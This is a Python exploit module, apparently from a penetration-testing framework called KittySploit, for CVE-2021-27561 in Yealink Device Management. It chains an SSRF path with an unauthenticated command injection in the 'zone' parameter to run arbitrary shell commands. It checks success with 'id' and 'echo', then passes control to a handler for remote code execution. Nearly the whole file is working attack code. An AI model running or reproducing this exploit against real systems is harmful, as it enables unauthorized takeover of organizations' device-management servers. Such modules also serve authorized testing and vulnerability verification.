Yealink DM Command Injection RCE (CVE-2021-27561)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Yealink DM firewall zone command injection (CVE-2021-27561)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Yealink DM Command Injection RCE (CVE-2021-27561)',
        'description': (
            'Exploits CVE-2021-27561 in Yealink Device Management 3.6.0.20: unauthenticated '
            'command injection via /sm/api/v1/firewall/zone/services zone parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-27561'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-27561'],
        'tags': ['yealink', 'cmdi', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_27561_detect']},
        },
    }

    def execute(self, cmd: str) -> str:
        inner = urllib.parse.quote(f'zone=;{cmd};', safe='')
        path = f'/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?{inner}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('/usr/bin/id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2021-27561 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Yealink injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()